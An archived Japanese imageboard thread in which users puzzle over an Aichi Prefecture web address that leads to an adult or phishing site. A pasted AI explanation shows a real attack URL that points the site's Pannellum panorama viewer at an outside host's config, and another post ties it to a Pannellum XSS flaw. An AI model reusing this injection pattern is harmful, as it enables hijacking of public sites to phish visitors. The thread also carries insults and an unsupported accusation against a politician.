虹裏のログを数日分だけ閲覧できるサイト

[ホーム]

愛知県！？ のサムネイル 愛知県！？

画像ファイル名：1786437188272.jpg-(218594 B)
218594 B26/08/11(火)17:33:08No.1457554122そうだねx4 19:14頃消えます
愛知県！？
…126/08/11(火)17:34:40No.1457554523そうだねx1
ぐぐってみたらマジで愛知県じゃん…
ドメインどうなってんだこれ
…226/08/11(火)17:35:22No.1457554696+
？？？？
…326/08/11(火)17:36:11No.1457554892そうだねx17
愛を知ったか…
…426/08/11(火)17:36:31No.1457554986そうだねx1
エロあるよ
…526/08/11(火)17:37:59No.1457555392+
愛知県のサイトハッキングされてんじゃん
…626/08/11(火)17:38:47No.1457555590+
愛知なら仕方ないか
…726/08/11(火)17:39:09No.1457555685+
愛知だしな…
…826/08/11(火)17:39:17No.1457555715そうだねx2
これじゃエッチ県だよ
…926/08/11(火)17:39:40No.1457555817+
AI痴ってこと？
…1026/08/11(火)17:40:09No.1457555938そうだねx5
URLをよく見ると、後半が以下のようになっています。
pannellum.htm?config=/%5C/yapuza.xyz/loader/57812597
pannellum.htm：これは「Pannellum（パネルム）」という、パノラマ写真を表示するためのオープンソースのプログラムです。愛知県のサイト（新城設楽の自然を紹介するページなど）で、景色を360度見せるために使われているのだと思われます。
?config=：Pannellumには、「どの画像をどんな設定で表示するか」を外部ファイルから読み込む機能（パラメータ）があります。
yapuza.xyz/...：悪意のある第三者が、この config の読み込み先に 自分の用意した外部サイト（yapuza.xyz） を勝手に指定しています。
本来なら愛知県内のパノラマ画像の設定を読み込むはずのところに、外部の不正なプログラムや設定を読み込ませることで、愛知県のドメインのまま別サイトのコンテンツを表示させたり、強制的にアダルトサイトへ転送（リダイレクト）させたりしています。

ってgeminiが教えてくれた
…1126/08/11(火)17:41:33No.1457556307そうだねx3
河村たかしに教えてあげたら
…1226/08/11(火)17:42:26No.1457556533そうだねx1
>ってgeminiが教えてくれた
理屈は分かったけどなんでそれが検索エンジンに引っかかってるんだ？
…1326/08/11(火)17:42:42No.1457556608そうだねx3
>河村たかしに教えてあげたら
今国会議員だよ！
そもそも元々は名古屋市長で愛知県関係ないよ！
…1426/08/11(火)17:43:21No.1457556771そうだねx2
>>ってgeminiが教えてくれた
>理屈は分かったけどなんでそれが検索エンジンに引っかかってるんだ？
クエリパラメータつきのURLをGoogleがOKしちゃったのよ
…1526/08/11(火)17:43:22No.1457556774そうだねx1
>理屈は分かったけどなんでそれが検索エンジンに引っかかってるんだ？
地方自治体とか政府とか公共のドメインは優先して検索結果にでやすい
…1626/08/11(火)17:44:15No.1457557030そうだねx2
>>河村たかしに教えてあげたら
>今国会議員だよ！
>そもそも元々は名古屋市長で愛知県関係ないよ！
河村たかしは愛知県知事を引きづり下ろすために署名偽造とかいろいろしてるんだぞ
教えてあげれば喜ぶよ
…1726/08/11(火)17:45:04No.1457557274+
>クエリパラメータつきのURLをGoogleがOKしちゃったのよ
ドメインの所有者じゃなくても登録させられんの？
…1826/08/11(火)17:46:39No.1457557734そうだねx1
>>クエリパラメータつきのURLをGoogleがOKしちゃったのよ
>ドメインの所有者じゃなくても登録させられんの？
GoogleのBotが巡回した時点で登録されるよ
…1926/08/11(火)17:48:31No.1457558275そうだねx4
fu7098804.jpg
うおすっげ
…2026/08/11(火)17:49:37No.1457558608+
セキュリティ弱者だから見に行けないけどサイト自体は実際今どうなの？
…2126/08/11(火)17:50:49No.1457558936+
>GoogleのBotが巡回した時点で登録されるよ
巡回さえさせちゃえば通るのか…
…2226/08/11(火)17:50:50No.1457558948そうだねx3
検索すると本当に出てくるな
結構よろしくない脆弱性だな
…2326/08/11(火)17:51:45No.1457559184そうだねx1
>セキュリティ弱者だから見に行けないけどサイト自体は実際今どうなの？
愛知県のサイト自体は普通どおり
検索結果に飛ぶとAIエロサイトに見せかけたフィッシングサイトに飛ぶ
…2426/08/11(火)17:51:52No.1457559218+
愛知県乗っ取られてるの？
…2526/08/11(火)17:52:24No.1457559397+
まぁトヨタに乗っ取られてはいるが…
…2626/08/11(火)17:52:35No.1457559444+
config= は、本来 Pannellum に「パノラマ表示用のJSON設定ファイル」を渡すためのパラメータです。Pannellumの公式ドキュメントでも、config がJSON設定ファイルのURLを指定するものだと説明されています。現在のバージョンでは安全上、同一オリジンにある設定ファイルしか許可しない仕様になっています。
ところが、Pannellum 2.5.6以前にはこの仕組みに関連するXSS脆弱性 CVE-2026-27210 がありました。悪意のあるJSON設定を読み込ませるだけでJavaScriptを実行でき、ページ内容を書き換えたり、「正規サイト上に表示されているように見せかけた不正コンテンツ」を表示したりできる問題です。修正版は2.5.7です。
…2726/08/11(火)17:58:34No.1457561223+
Googleがポンコツってこと？
…2826/08/11(火)17:59:40No.1457561544そうだねx9
>Googleがポンコツってこと？
脆弱性のあるバージョンのままにしてた愛知県の担当がポンコツだろ
…2926/08/11(火)18:00:43No.1457561855そうだねx1
>愛知県のサイト自体は普通どおり
>検索結果に飛ぶとAIエロサイトに見せかけたフィッシングサイトに飛ぶ
ありがとう
入口から入っておかしくなってたらさすがにもっと騒ぎになってるか
…3026/08/11(火)18:01:10No.1457561976+
愛知はスマホ一日2時間
ポルノ22時間に制限されます
…3126/08/11(火)18:02:26No.1457562353+
GoogleってかChromeはかなりガチガチにCORS制限かけてる方なので穴になる脆弱性作った方が悪い
…3226/08/11(火)18:02:27No.1457562361そうだねx14
AIに聞いてみました！（長文ペタッ！）
死なねぇかな
…3326/08/11(火)18:03:27No.1457562651そうだねx1
ソフトウェアのアップデート管理とか中々専用の部署もなくて担当者レベルの対応になりがちだし大変なんだよな…
…3426/08/11(火)18:24:13No.1457569179そうだねx1
なんてこったこれがAI痴
…3526/08/11(火)18:25:56No.1457569698そうだねx1
>pannellum.htm：これは「Pannellum（パネルム）」という、パノラマ写真を表示するためのオープンソースのプログラムです。愛知県のサイト（新城設楽の自然を紹介するページなど）で、景色を360度見せるために使われているのだと思われます。
オープンソースの脆弱性利用されたとかなんかな
…3626/08/11(火)18:36:31No.1457572943+
愛を知るというのはこういうこと
何もおかしくない
…3726/08/11(火)18:49:13No.1457577006そうだねx6
>AIに聞いてみました！（長文ペタッ！）
>死なねぇかな
口悪いだけの奴よりこのスレ内においては役立ってるけど
そういう切り分けできないんだよな
…3826/08/11(火)18:50:19No.1457577357そうだねx2
>AIに聞いてみました！（長文ペタッ！）
>死なねぇかな
AIより詳しそうだからこの現象の説明頼むわ
…3926/08/11(火)18:52:12No.1457578038+
さすがアイドルに囲まれた時にオメコジェスチャーした名古屋市長を選んだ土地だ


2026 (c)parupunte.net